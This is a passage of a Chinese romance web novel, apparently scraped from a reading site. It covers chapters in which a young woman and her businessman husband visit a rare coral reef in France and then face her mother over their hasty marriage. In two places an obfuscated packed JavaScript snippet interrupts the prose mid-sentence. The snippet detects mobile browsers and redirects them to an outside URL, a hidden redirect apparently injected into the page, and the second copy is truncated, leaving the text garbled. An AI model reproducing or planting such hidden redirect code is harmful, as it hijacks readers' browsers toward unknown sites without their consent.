说着她从毯子里伸出手臂圈住男人的脖子,靠在他的肩膀上亲昵地蹭了两下。 这姑娘吹风吹久了,身上带着凉意。 可就是这丝缎般柔软冰凉的肌肤碰到哪里,哪里就点起一簇暗火。 “乖,别乱蹭。” 易嵊不由得收紧抱着少女的双臂,压着嗓子按住她,“晚餐帮你订了本地最有名的苹果派,还想吃什么告诉我,我让路明去安排。” 听到有苹果派吃,火颂月愣了一下,心情莫名好了几分:“易先生怎么想起吃苹果派?” “凑巧,省得某个小馋猫又去惦记哪个澳洲回来的哥哥带的苹果派。” 澳洲回来的哥哥? 程之意? 火颂月狡黠地弯起眼睛:“易先生,你是在吃醋吗?” 易嵊垂眸,淡淡睨她一眼:“我喜欢吃辣,如果你喜欢,吃点酸的也可以。” “晚餐想在哪吃?餐厅还是露台?” 被易嵊抱了有一会儿,清凉晚风吹得意识渐渐回笼,火颂月开始觉得自己这个索抱的行为简直就是赤果果的撒娇。 可关键是,易嵊居然没有嫌弃她,更没有拒绝她,就这么稳稳地抱着她往回走,还像个没事人一样淡定地问她要在那吃饭。 虽然有点不好意思,但易嵊的怀抱真的好像有魔力,被他抱着的时候满满的安全感,让人无比贪恋这个怀抱。 火颂月只觉得热度从耳朵蔓延到全身,她靠在易嵊的肩膀上不敢去看他的眼睛,唇角却有些不受控制地扬起来:“想在露台看夜景。” 如果回屋的话,太封闭的环境,她怕自己扛不住这个男人的“诱惑”。 “那你,需要回去换个衣服吗?” 易嵊停在门前,垂眸扫了眼少女露出来的细白肩膀,又将视线挪开,面色冷淡:“风大。” “要的,那你抱我回卧室。” “嗯?我是你的轮椅吗?” “抱都抱了,别那么小气。” 火颂月趴在男人肩膀上,听到男人好像无奈地叹了口气而后阔步往屋里走后,面颊的酒窝再也藏不住。 怎么会有人,一边表情凶凶个,一边还乖乖的听指挥呢? 易嵊不会,真的还喜欢她吧? 火颂月悄悄觑了眼易嵊的侧脸,余光却不经意看到了自己随意丢在床上的黑色蕾丝内衣。 “易嵊!” 她猛地支棱起来,试图挡住易嵊的视线。 因为她猝不及防地在怀里探身,易嵊为了不让她掉下,猛地收紧双臂,宽厚的大掌直接托住少女的腰身,才让她稳稳地在自己的怀里直起身子。 看到她根本没有意识到如果不是他反应快,她已经摔下去了,易嵊不由得蹙眉:“怎么了?” 两个人体型差过大,导致少女此刻哪怕直起身,也只是比他高出半个头。 她按着他的肩膀,哪怕是俯视着看他,也被他骤然变严肃的目光里裹挟的压迫感给盯得呼吸一紧。 火颂月面色发烫:“就到这里就行,放我下去。” 易嵊疑惑的视线在少女闪躲的目光里停留一瞬,然后躬身将她放下。 看到脚边地毯上随意丢着的轻薄裙摆被她唰一下扯走,他好像意识到了什么,敛眸转身:“收拾好直接来吃饭。” 晚饭是很简单的法餐,不过因为女主人的特别喜好,加入了不少甜品。 看着餐桌上不止五种做法的苹果派,火颂月压不住唇角的笑:“易老板,你这是在做市场调查吗?调查哪种口味卖得好?” “都试一下,挑个最喜欢的告诉我。” “然后呢?你给我做?” 闻言,易嵊淡淡睨她一眼,自顾自切着牛排,优雅的好似一尊漂亮的雕塑:“看你表现。” 看她的表现? 怎么这话说的好像,他真的会做饭一样。 火颂月小口咬着苹果派,莫名感觉今天的郁闷都被一扫而空:“易老板这是开始给我画饼了?” “彼此彼此。” “易嵊,你什么时候带我去看珊瑚呀?” “明天。” “能看到馆藏全部的?” “我们不看馆藏的,”易嵊将切好的牛排换到火颂月面前,“我们去看阿卡斯保护的野生珊瑚礁。” 火颂月刚想夸易嵊牛排切的标准又好看,听了这话直接怔住,有些难以置信:“是我理解的那个珊瑚礁吗?” 阿卡斯负责保护的野生珊瑚礁是全球稀有珊瑚品质最丰富的一片区域,连火颂月心心念念的皇红珊瑚都有,这种机会可谓是可遇不可得。 前几个月她递了好多次拜帖,都没拿到批准,没想到易嵊居然一下子就办到了! 火颂月一时间有些惊喜,她紧紧攥着刀叉,眼睛亮亮的:“是有皇红珊瑚的那片珊瑚礁吗?” “是的。” “易嵊!” “怎么了?” “喜欢你!超级!喜欢你!” 被这双漂亮的多情眼直勾勾地注视着,易嵊晃神片刻。 下午同朋友见面的时候听到对方介绍里提到了这个品种,他便多问了一句,提了个觉得也许会让某人开心的小需求。 本来只是顺手为之,丝毫不费一点力气,没想到却让火颂月如此高兴。 看着火颂月亮晶晶的眼睛,易嵊忽然觉得,自己这次出差好像也不是那么无聊。 起码,收获了“交易”以外的东西。 他敛眸,错开火颂月的眼波攻击:“你是喜欢皇红珊瑚。” “我都喜欢!但是现在最喜欢你!” 火颂月一边挑着苹果派,一边坦坦荡荡解释着:“喜欢皇红珊瑚是因为,那是爸妈的定情物,当初他们就是在阿卡斯的皇红珊瑚保育志愿活动召集下相遇相爱的,然后才有了现在的我。” “所以,亲眼看看它,是我的一个心愿。易老板大手一挥就满足了我的心愿,所以我现在最喜欢你了!” 一天到晚把喜欢挂在嘴边,甚至还能编出来一二三个理由。 条理清晰的,倒是更像在做生意。 蓦地眼前落下一碟切好的苹果派,易嵊抬头,便见少女笑盈盈道:“借花献佛,请易老板吃我最喜欢的苹果派哦!” “油嘴滑舌的。” “那我以后不说了。” “……倒也不讨厌。” 火颂月托着腮,饶有趣味地盯着易嵊:“易先生,我突然发现你还有点傲娇。” “食不言。” “好的易老板。” —— 因为惦记着要见皇红珊瑚,次日一早,爱睡懒觉的火颂月甚至都不需要闹钟,很自然地起了个大早。 她洗漱完下楼,刚好瞧见易嵊晨跑回来。 难得看到男人脱下包的严严实实的西装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929437|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,换上清爽的黑色运动装,身材线条简直一览无余。 易嵊属于标准的倒三角身材,轻薄的T恤下包裹着线条凌厉漂亮的肌肉,从挺拔的腰背转到正面,运动过后充血的肌肉力量感满满,荷尔蒙爆棚。 是那种完美的穿衣显瘦脱衣有肉的男模身材,看得人心跳加快。 注意到火颂月直白的目光,易嵊放下运动毛巾:“看够了吗?要不站近点?” 被当场抓包,火颂月弯着眼睛笑了笑:“我富有又慷慨的男朋友,请问我们几点出发?” “七点半,馆方会派人来接我们。” 上了出海的游艇,看着馆方将一切都安排妥当,火颂月不由得同易嵊感慨:“不愧是易老板,出游体验感拉满了哎!” 要知道,阿卡斯可是全欧最大的海洋馆,可以称得上是傲慢的天花板,她甚至找了好多关系都没有拿到参观的许可证,。 易嵊好像随随便便就拿到了,甚至还能让傲慢的阿卡斯馆方这般殷勤地当着陪玩。 这一刻,火颂月对于易嵊真正的实力与地位有了新的认知。 她好像确实捡到了一个不得了的男人。 换好泳衣和水肺,跟着安全员下水前,火颂月再次邀约:“易嵊,你真的不跟我一起去看看吗?一定是毕生难忘的情景!” “我已经有过一次毕生难忘的经历了。”男人淡然地拿过钓竿,“我在这儿等你回来。” 再次被拒绝,火颂月沮丧了一秒:“那你等我回来跟你描述一遍!” 火颂月深呼吸了两下,平复紧张的心情,然后跟着安全员一起开始下潜。 一进水,周遭的一切声音好像都被屏蔽了,耳边只有水波摇曳的声音,举目望去,像是走进了鲜活多彩的童话世界。 静谧无声却满目鲜活漂亮的生命力。 阿卡斯保护的这片珊瑚礁海域占地不小,且品种繁多,几乎每游出一段距离,便能看到几株濒临灭绝的品种在安静的呼吸着。 靠近海域正中的时候,火颂月一眼便看到了那株巨大的鲜红的,像是海底火把一般伫立的皇红珊瑚。 它像是一座纪念碑,安静地记录着周遭所有事物的更迭。 安全员手中的信息牌里播放了这株珊瑚的信息:“保育工作进行了二十余年,才成功繁育了二十簇小株,眼前这树母株年龄接近六十岁。” 怪不得父亲会用这个品种的珊瑚来设计作品,它美得很有力量,沉静但是不死寂,包容又热烈。 像是古希腊传说里孕育文明的火把。 能亲眼看到这树珊瑚,火颂月压不住心底的震撼,同安全员比划着:“能否帮我拍一张照片?” 顺利拿到照片,火颂月又不舍地围着这片珊瑚礁转了好几圈,像是要把一切都刻在脑子里,才依依不舍地被安全员叫走。 在靠近游艇的地方浮出水面,火颂月凑巧看到了易嵊的钓鱼线。 她调皮地拉了拉,小铃铛轻轻响起,男人从栏杆处俯身望下来。 “请问这位先生,您对自己钓到的小鱼满意吗?” 少女笑眼弯弯地扯着鱼线半浮在水面,柔顺的长卷发被她编成密实的麻花辫垂放在胸前,发尾绑着一颗拇指大小的澳白。 她一套薄荷绿的两片式泳衣,半身浸入海水,姣好的身材在碧蓝海水的摇曳下若隐若现,更加惹人遐想,就像一只探出水面的小美人鱼,美得纯粹又动人。 发现易嵊看着自己不说话,火颂月轻轻扯着鱼线原地转了个圈圈,遮不住眼底的兴奋。 “易先生?满意吗?” “小鱼好像并不打算上钩,我怎么满意?” 话落,易嵊朝火颂月伸出了手。 火颂月一把拉住那只大掌借力上浮,而后勾着易嵊的脖子,直直望向他的眼睛:“易嵊,我可以吻你吗?” 15. 第 15 章 还不等男人回答,火颂月径自吻了上去。 说是吻,但更像是毫无章法的“盖章”。 看着少女贴了两下便要后撤,易嵊反手托住她的后颈,柔软的唇瓣轻轻摩擦:“笨蛋,热恋期的人,应该这么亲。” 还没等火颂月反应过来易嵊的话,男人的气息便铺天盖地地袭来。 易嵊的吻就像他这个人,每一下都带着侵略性,就像是一匹狼在标记自己的所有物。 比起吻,更像是性感的噬咬。 虽然有几分疼,可火颂月却一点都不讨厌,那是一种,被迫切的需要着的感觉。 她明明半身浸在清凉的海水中,却被他吻到热得像是要沸腾了一般。 被松开的时候,她茫然地望向易嵊的眼睛,只一眼,便被他眼底那股翻滚着的危险情绪给烫到缩回海里,只露出一双眼睛。 她捂着自己可能已经发红的嘴巴,佯装不满:“易先生,您是想生吞了我吗?” 朝阳璀璨,将男人的面容映衬得无比深刻。 海风微微浮动,吹动他的额发,清晰地露出断眉下的深邃眉眼,他直勾勾地望向火颂月,嗓音有些哑:“不谙世事的人鱼公主,自然要让她明白,陆地的商人从来不做亏本买卖。” 他从来不是做慈善,他只是在等着他的小公主主动上钩。 结束珊瑚礁的参观之旅,易嵊直接开始本次出差的商务活动。 担心火颂月自己待着会枯燥,他直接将会面安排在了私人大游艇上,顺便给火颂月安排几个冲浪教练。 易嵊在舱内谈合作,火颂月就在船尾跟着教练学习冲浪板的使用。 注意到教练潜水服的样式和大三角图标有点像昨天“火弈阳”身上的那件,火颂月不由得多看了几眼:“请问您的衣服是什么工作服吗?” 教练耐心解释:“哈哈,这件吗?这是之前在珊瑚保育协会退队的时候送的纪念队服。” 听到是珊瑚保育协会,火颂月继续追问:“请问,您所在的协会里有没有一位姓火的中国男子?” “新来的副主席是亚裔,但听说他是英国佬,没有您说的姓氏。” “好吧,谢谢您……” 意识到自己可能又认错人了,火颂月失落地叹了口气。 她郁闷地回到夹板,看到手机一直在震动,来电显示是火臻女士。 莫名的,从出门时就悬在心里的那根线又被紧张地拉起来。 火颂月接起电话,还没开口,火臻女士的冷笑便传了过来:“火大小姐,您在国外玩得开心吗?” “妈妈……怎么了?” “你现在立刻马上给我订机票回来。” “可是我还……” “就你自己,立刻马上!” 从没见过火臻女士发这么大火,火颂月一时之间有些六神无主。 她隔着窗望了眼屋内专注进行会谈的易嵊,感觉他们一时半会没法结束。 火颂月纠结片刻还是给他发了一条短信:“易嵊,我妈妈有急事要叫我回国,不知道发生了什么,她好生气哦,抱歉啊,我不能在这儿陪你啦QAQ” “知道了。” 短信发出去不到半分钟,路明便从会议室走了出来:“火小姐,易总让我帮您安排回国的飞机,您跟我走吧。” 再紧迫的事情,遇到易嵊好像都能轻易被化解。 从接到火臻的电话,到坐上回国的飞机,中间隔了不到两小时。 起飞前,火颂月收到了易嵊的短信:“保持联系。” 短短四个字,好像一枚定海神针,火颂月紧张的心情瞬间平静了许多。 落地后国内时间刚好是晚上,火颂月马不停蹄地赶回观海庄园。 一下车,便看到火臻女士满身戾气地在二楼露台抽烟。 “妈妈……” “哟,火大小姐还知道这里是你家?还记得这里有个妈?” 看到火臻中气十足,身体应该没什么问题,火颂月下意识松了口气:“妈妈怎么了?我只是去南法取景了,您不是知道的吗?” “知道这件事有什么用?你是去出差,还是去蜜月,全靠你一张嘴呢。” “什么蜜月……” 反驳的话到嘴边,火颂月心底咯噔一下,蓦地明白自己出门前的不安来自于哪里了。 她出门前没有将藏宝阁里的珊瑚标本放回远处,而藏在珊瑚标本后的结婚证就那么赤裸裸地躺在空气之中。 她紧张地望向火臻,看到她手中捏着的那个红色小册子,可不就是那本没被藏好的结婚证吗? “说说吧,”火臻吐了口烟,周身萦绕着前所未有的低气压,“易太太。” 易太太…… 看起来火臻女士气得不轻。 火颂月深呼一口气,快速来到二楼露台,试图用撒娇把人哄好:“妈妈,您想知道什么?我必定知无不答!” “少在这给我没正行!给我坐好!” 见对方严肃拒绝了自己的撒娇,火颂月乖乖坐好:“好的妈妈。” 火臻拉开两人的距离,啪得一声将结婚证丢在玻璃方桌上,居高临下瞪着火颂月:“谁给你的胆子闪婚的?” “我自己,我觉得合适,所以……” “你自己?你胡闹!你胡闹就算了,易嵊他呢?他就纵着你一起胡闹?!” 看着越来越激动的火臻,火颂月眼神有点闪躲:“可是妈妈,正因为对方是易嵊,所以才不会胡闹的。” “什么意思?”火臻愣了一下,目光从火颂月的脸上滑落至她的身上,眸光颤抖,“你?你俩?” “不是不是,妈妈您想什么呢?我和易嵊清清白白!” “既然不是,我更想不出原因。易家那样背景养出来的孩子,怎么会不知道婚姻意味着什么。难道是他逼你的?就像易维醇那个混蛋那样?” “妈妈!不是的!我领证完全是自主自愿,我喜欢易嵊,我想跟他结婚。” “那他呢?他喜欢你吗?” “……喜欢……” 火颂月眼神有几分闪躲,想到昨天的经历,她莫名找回了几分底气,“他知道我瓶颈,主动带我出国散心,他会在法国给我找很多很多品种的苹果派让我试吃,他还会带我去看了我特别想看的皇红珊瑚,这些事,我都没有主动提过,都是他自己注意到的。” “可能妈妈您觉得这些都算不上什么,但是易嵊不需要特意为谁去分心做这些。我觉得这些很平常的细节,是组成幸福的一些必不可少的片段,所以到现在,面对您的质问,我都没有质疑过我领证的正确性。” 看到自己女儿说起这些事的时候,眼底不自觉地闪动着细碎的光,火臻心底那股子不安消散了几分,却仍旧有很多不满:“所以呢?这能当成他一次都没有来拜访过我,就把我女儿拐出户口本的理由吗?” “这么一个傲慢到骨子里的人,你怎么保证他婚后不会欺负你?” “那让他来见见您?” “这是重点吗?他有自觉吗?” “妈妈,我是怕您接受不了,是我不让他来的……” “胳膊肘往外拐的还挺溜,你现在这样我更接受不了!我倒要看看,你被我紧急叫回来,他会有什么反应!” 看到火颂月去摸手机,火臻一声厉呵:“好啊,这就通风报信去了?易太太。” “妈妈~” “手机先没收,我们就一起看看你背着我都要嫁的男人有什么手段把你从我这里接走。” 火臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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简修仁笑笑:“听说您珊瑚馆封顶在即,主缸生物引进还没确定,RC这边恰好有个合作方可以赞助一些生物,不知道您能不能看得上眼。” RC选品必然都是极好,只是无事献殷勤…… 火臻转了下钢笔:“简总怎么突然决定要插手这个?” “寰海的盈利对我们来说是好事。” “RC在乎这三瓜两枣?” 闻言,简修仁揶揄地看向火颂月:“RC不在乎,但是RC的创始人比较在意自己妻子的一点点小心愿,所以托我把这件事办成。” 听到易嵊的名字,火颂月有几分意外。 她昨天落地后只报了个平安,到家之后的事情根本来不及跟他说,没想到他会主动让简修仁过来打探。 莫名的,火颂月悬着的心落下几分。 易嵊好像总是能给她带来一些意外的安定感。 听到还真是易嵊,火臻冷笑一声:“他自己不会来?还要一个外人来说?” “作为RC的合伙创始人及CFO,我还真算不上外人,起码叫火妹一声弟妹,那可是堂堂正正。不过易嵊是要亲自来拜访您的,现在他刚谈好生物引进的事情,现在应该在回来的路上。” “哦?我倒是有几分好奇什么样的东西值得让易总亲自去谈。” “东西都是些身外之物,这小子主要还是想讨老婆开心。就是那个什么阿卡斯海洋馆的镇馆珊瑚。” 听到阿卡斯海洋馆的名号,屋里的三位女性都怔了一瞬。 火臻身边一直安静的像只小鹌鹑一样的火颂最先反应过来。 她压不住惊讶,声音有点抖:“皇……红珊瑚?!” 16. 第 16 章 简修仁点头:“对,就叫这个。” “皇红珊瑚”四字一出,火臻脸上的表情空白了一瞬。 她沉默了好一会儿,有些难以置信的问道:“是我以为的那个阿卡斯的皇红珊瑚吗?” “妈妈,是的。” 如果不是亲自和易嵊一起去了阿卡斯看过了皇红珊瑚,火颂月怎么也不会这么笃定。 只是看过一次那种珊瑚,火颂月就很满足了,没想到她前脚刚落地,易嵊便将珊瑚一起拿下了。 还要送到寰海来。 简修仁也是第一次在火臻脸上看到失态,他饶有兴趣的挑眉,“这个很难弄吗?” 裴妍在一旁小声补充:“稀有,濒危。” “啧,这小子还真是……”吐槽的话到了嘴边,简修仁不忘自己来的目的,立马调转话头,“真是肯为老婆和丈母娘花心思呢。” “如果您这边没什么其他问题,这事儿就这么妥了。” “易总这边没有附加合同吗?” “有,保育团队要去阿卡斯做培训学习,然后要花钱请对方的专业人团队过来照料至生物状态稳定。” 火臻神色认真地点头。 这些不用特地提,她也会拿出最高规格来安顿。 “任务完成了,”简修仁起身拉了拉西装外套,狡黠地看向火颂月,“弟妹,既然没什么大事就赶紧给某人回个消息吧?再不回,我都要成你的24H保镖了……” 见火颂月面色红红地跟他使眼色,他欲言又止地笑了笑:“不打扰你们了,我先撤了。” 简修仁来去如风,目标明确。 来送皇红珊瑚是假的,帮易嵊刺探火颂月的情报是真。 火臻缓缓地从引进成功这件让人又惊又喜的事情里冷静下来。 看到办公室的门关上,屋里只剩自己人,她起身,在落地窗前来回踱步,而后拉着火颂月和裴妍再三确认:“刚刚确实谈好了皇红珊瑚引进的事情对吧?” 火颂月认真地点点头,裴妍素来冷淡的眼眸里也是显而易见的惊喜。 所有人都知道这株珊瑚对火臻来说意义重大。 爱人的遗作和思念终于可以没有遗憾地完整呈现。 巨大的惊喜裹挟着往事的纷杂情绪漫上心头,火臻背过身,闭上发热的眼睛:“你们先出去一下,九点的会,阿妍你带着月月去谈,我想一个人待一会儿。” 看着火臻女士素来挺拔的肩膀有几分轻颤,火颂月瞬间也红了眼眶,安静地跟着裴妍出去。 也许这是一件对易嵊来说不过是顺手为之的小事,但却是她们母女二人一直以来的夙愿。 出了火臻办公室,火颂月同裴妍借了手机,想给易嵊发消息。 手在键盘上犹豫了好久,最终按下一连串的删除键。 裴妍疑惑,火颂月把手机还回去:“发短信太不正式了,等他回来。” 这日,直到寰海下班,火臻都没出现在众人面前,也不在办公室里。 火颂月没有贸然去找她,而是在回家路过花店的时候顺手带了一束爸爸喜欢的向日葵。 花店老板看到是熟客,笑着寒暄:“妹妹今天也来拿向日葵啊?你妈妈之前也带走了一束。” 火颂月挑了束开得正热烈的:“我知道,谢谢您。” 火颂月到家的时候,恰好看到一辆嚣张的连号劳斯莱斯停在前厅。 她心下一紧,正要进屋,被陈姨拉住:“小姐,太太和易总在后花园谈话,她让您在客厅等一会儿。” 火颂月探了探头,满眼不安:“他们气氛怎么样?我妈妈有没有特别生气?” 陈姨摇了摇头,递来一个还有些热度的盒子:“您先进屋歇着吧,这是易总特地给您带的吃的,您快趁热先吃着。” 火颂月疑惑地接过方盒:“易嵊给我带的吃的?” 他不是刚回国吗?这是外卖? 一步做两步,少女抱着盒子,心不在焉地挪进屋子,视线却紧紧黏着后花园的方向。 回了屋,她在爸爸的相片前放下花束,看到一侧已经有了一束新鲜花束,悬着的心安下不少。 她把花简单修剪了一下插好,而后趁陈姨不注意,带着那盒吃的溜到二楼露台往下张望。 可惜小花园是她亲自设计的,一排大冠白绉绸桃金娘将人影挡得绰绰不清,连声音也飘渺虚无。 她叹了口气,百无聊赖地在趴在露台栏杆上,只能时不时从移动的光影里窥到一点背影。 夜风将少女的叹息送入花园。 易嵊似有所感地回头,看到高处栏杆上,少女的长卷发被温柔月光镀上一层毛茸茸又温柔的光边。 看着男人冷峻的目光在望向自家女儿的那一刻变得柔和,火臻佯怒瞪他:“看哪呢,易总?” 易嵊笑了笑,收回视线,“如果您执意觉得我和她之间只有交易,那您最应该也了解,我这人从不做亏本的交易。” “我的宝贝女儿,谁娶了都不亏。” “她是您的宝贝女儿。” “嗯?” 易嵊定定看向火臻:“那您就更不应该,主动将她的感情和交易扯上关系。” 易嵊说这话的时候语气平和锋芒尽敛,却轻而易举让火臻脸色一变再变。 既是来求她放人,言语之间却又毫不谦卑。 可他的说辞全然都是从月月的角度出发,火臻竟一点都反驳不了。 可就算抛开月月擅自领证这件事,火家和易家的梁子又不止这点。 火弈阳走之后的这两年,他们易家暗地里动的那些手脚她又怎会不清楚。 易家已经用手段夺走了她的一个亲人,她实在是不放心月月也被带进这个坑,哪怕对方是易嵊。 火臻闭了闭眼:“我真是对你们易家人喜欢不起来。” “对您来说,我和易家应该是不算一路人,不然我应该和易维醇是一样的待遇。” 易嵊慢条斯理地继续道,“我理解您的担忧,也许在您眼里,这份结婚证是临时起意,可作为两个成年人,我们有为此负责的能力。无论我现在说什么,都无法打消一个母亲全部的顾虑。所以我今天,只在乎我带来的苹果派是否她合胃口。” 尽说爱意,反倒会让火臻觉得过于虚假缥缈,尽说利益,又会让她满心失望。好在,易嵊他不说爱,也不说利。 易嵊闭口不谈他和火颂月关系以外的东西,什么救命稻草般的合作合同,什么濒危难借却对她意义重大的皇红珊瑚,他绝口不提,他只提了一个无关紧要的苹果派。 他一个狠名在外的RC掌权人,在她面前竟然放弃了最好用的筹码,恭恭敬敬地,用平淡到可以忽视的东西,来让她相信这看起来有些儿戏的结合。 火臻蓦地笑了,“你小子……” 倒是和当年的她有点像。 易嵊有手腕,有能力,也肯认真地对月月上心。 尽管如此,火臻仍旧顾虑很多。 只是谈个恋爱,她倒是无所谓 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易嵊挑眉,就听火臻继续说:“先试婚,不行就在办婚礼前悄无声息地离了,互不牵扯。大前提我帮你们定好了,中间的过程怎么走,后果自负。” 有些话的潜台词无需说的过于直白,火臻相信易嵊是个聪明人。 易嵊沉吟片刻,倏地弯唇:“都听您的。” 易嵊回到露台的时候,少女正心不在焉地吃着那份从南法“人肉”外卖过来的苹果派。 瞥到男人的西装裤脚,火颂月放下苹果派,满眼惊喜地回身,“你搞定火女士了?” 易嵊断眉轻挑:“你希望是什么?” 少女笑盈盈地凑过去,扯他衣角试探道:“我的嵊骑士,肯定不会让我失望的,对吗?!” 嵊骑士。 听到这个称呼,易嵊小小地挑了下断眉:“苹果派好吃吗?” “喜欢!居然和在南法吃到的一模一样!” 看着两人越贴越近,火臻抱着胳膊冷不丁打断:“少在这儿秀恩爱,回你们自己家去秀。” 没想到火臻也跟在后边,火颂月立马弹开一臂的距离,耳尖通红:“妈妈……您在说什么呢!” “我说,你和易嵊先试婚同居,不行就给我换证下车。” 火颂月一时有点搞不清楚状况,眼神瞟向易嵊:“怎么回事呀?” 不是把结婚证的事情糊弄过去吗?怎么要同居了? 火臻轻咳一声,佯装质疑:“怎么,看你挺排斥的?” “妈妈~”火颂月连忙凑过去抱住火臻撒娇,“我这不是舍不得离开您吗?” “真舍不得我就不会背着我领证了!!两个人互相了解的有几分就敢去领证?你们知不知道,一些婚姻就是结束在生活里那些看似毫不起眼,但却无法磨合无法适应的小细节。” 火臻哼了声,瞪向易嵊,“你小子,婚房准备好了吗?” 易嵊略一思索:“东山有一套岛园,市中心滨江有几套平层,近郊鎏金苑的别墅也闲置着,如果都嫌远,我可以在半山这边再置办一套,顺便可以按照她的喜好装修……” “行了行了……你常住哪里,月月暂时也去哪里,定下来了再大费周章也不迟。” “那就东山岛苑。” 火臻摆摆手:“要带什么你自己跟月月商定,个顶个的有想法,我懒得管你们,但是会随时去查岗。” 17. 第 17 章 火臻留下一个烫手芋头后便大摇大摆地回屋,独留火颂月对着易嵊手足无措。 生怕火臻听到什么,火颂月踮脚拉着易嵊的肩膀,凑到他耳旁急急问道:“怎么就变成这样了?不是说服我妈接受这件事吗?” 她慌乱地睁着一双多情眼,轻软的气息扫在男人的耳畔,撩得他扶住少女的腰微微侧身。 “接受条件就是同居试婚,我们只能服从安排了。” 怎么回事? 火颂月疑惑地盯着易嵊的脸。 她怎么从易嵊的语气里听出了三分假假的无奈,七分明晃晃的窃喜? “可是!!” 火颂月还想据理力争,她根本就没有准备好要搬出去和易嵊同居! 当初约定瞒着火臻,还有一方面原因是,她自己都没说服自己接受自己已婚这件事。 这下好了,直接快进到同居?! “可是?那我帮你把火女士叫回来?” 火颂月一把拉回易嵊,用胳膊圈住他的脖子,面颊气鼓鼓的:“易嵊!你坏!” “这就叫坏了?” 易嵊抬掌,将她按进自己的怀里,下垂的视线从她柔软的微笑唇上移对上她的眼睛。 男人凌冽的气息铺天盖地侵略过来,火颂月招架不住,慌乱地错开视线:“起码最近不行,我还有好多东西要收拾。” “什么东西?衣服珠宝都可以买新的,不需要带走。其余的列好清单,交给路明去做。” “不止这些,珊瑚馆要封顶了,我要留在妈妈身边帮忙。” 封顶这种事哪里轮得到她来操心。 易嵊看破不说破,淡淡点头:“如果你能拖得住你妈妈的话……” 知道这些说辞都是缓兵之计,早晚还是要搬过去的。 火颂月鼓了鼓腮帮子,开始在易嵊这边下功夫:“那我搬过去了,可以像在南法那样分开住吗?” “火小姐,需要我再提醒一下协议里写了些什么吗?” 听到他提起协议,火颂月立马神色紧张地踮脚捂住他的嘴巴。 四下张望一圈,确认火女士不在附近后,她小声辩驳:“可是,你也答应我,要先谈恋爱!我们的恋爱,好像还没到那个进度!你和一个感情不深的人睡一起,不觉得别扭吗?!” 看易嵊沉默,火颂月乘胜追击:“难道,易先生已经爱上我了?” 她直勾勾地盯着他,漂亮的多情眼里勾着几分揶揄的笑望向男人的眼睛。 意料之外的,她没有立马获得答复,而是被男人深不见底的眼眸笼着。 易嵊有着一双漆黑凌厉的长眸,长久地望着人的时候,会让人生出一种无处可逃的慌张感和被侵略感。 火颂月脸上的笑意凝住,她脑子里乱乱的,一时想不出易嵊这是什么意思。 就在她准备打哈哈跳过这个话题的时候,听到易嵊叹了口气。 男人低沉的语气里带了几分不易觉察的纵容:“随你。” 像是获得了某种豁免权,少女赶忙笑着转移话题:“你是怎么说服火女士的?” 据她多年了解,她的母亲大人在感情的事上算得上是绝世犟种,要求比较高。 “难道真的是因为皇红珊瑚?” 火颂月的好奇像是断线珠子一样接连不断地往外蹦,“话说,你怎么就突然想起要买皇红珊瑚?阿卡斯不是宝贝的很吗?” 易嵊有些无奈:“你一口气问了这么多问题,我该回答哪个?” “都要回答!” “第一个,保密。” “第二个,不是的。” “第三个,因为想纪念一下还算开心的私奔,第四个,我用我无可替代的东西做了交换。” 怎么好像回答了又没有回答的样子,把所有的重点都轻描淡写地带过。 火颂月轻声抗议:“怎么还有保密的?!” 易嵊断眉微挑,并未作答。 火颂月郁闷地退开半步,煞有介事地盯着他看了好一会儿后突然恍然大悟地笑了下。 这个男人肯定是不愿意再现自己刚刚孔雀开屏的自恋模样,要在她面前保持一定的高冷形象。 “算了,我早晚会知道的。” 少女眉眼弯弯,声音不自觉扬起几分娇:“总之,谢谢你啦易老板!” 刚刚还嵊骑士,一会儿又变成了易老板。 易嵊抱着胳膊,好整以暇地盯着她的唇:“不接受口头感谢。” 他意味不明的视线让火颂月想到了游艇上那个热烈的吻。 陌生的悸动扰乱平静的心跳,热度从耳朵窜上心头,火颂月根本没法跟易嵊对视:“可不可以记个账。” 易嵊神色淡淡:“可我这个讨厌的记仇鬼,只记高利.贷的帐,这位小姐还要赊账吗?” “嗯嗯嗯,下次一起清。你想吃苹果派吗?哎呀都凉了,下次再吃吧!”火颂月语无伦次地拉着易嵊的胳膊往外走,“我送你上车,辛苦易老板了。” 上车前,易嵊拉住火颂月,轻轻在她唇间落下一吻。 甜的,带着苹果派的清香。 男人克制地又吻了一下:“苹果派吃到了,很甜。” “别拖太久,让你妈妈起疑。” 火颂月懵懵的,像是被他的温柔蛊住了,乖乖点头:“好。” “乖孩子。” 连号劳斯莱斯缓缓融进夜色。 火颂月站在前坪,轻轻摸上自己被吻过的唇瓣。 易嵊他……他……他怎么搞偷袭?!! 面颊变得滚烫不已,火颂月在花园里撒了一会儿热,才缓缓往回走。 进屋的时候,陈姨问苹果派要收起来吗? 火颂月又拿了一块,才让把其他的保存起来。 苹果派软甜的流心融化在嘴里,甜到火颂月忍不住翘起唇角给易嵊发消息:“易先生,苹果派在哪里买的?” 易嵊:“南法。” 火颂月有些惊讶:“你的私人外送?那我可要把剩下的供起来!” 易嵊:“油嘴滑舌。” 火颂月:“好可惜,以后好难吃到了。” 易嵊:“想吃的话随时可以。” 火颂月:“嗯?难道易老板聘请了那家甜品师?” 易嵊:“搬来后告诉你。” 看着这条消息,火颂月轻轻咬住下唇,犹豫了很久最终锁上了手机。 大家不是都说易嵊是一匹不懂情调的孤狼吗? 可她怎么觉得,这个男人好像很会拿捏她的样子? 居然一次两次的,也开始给她画饼了?! —— 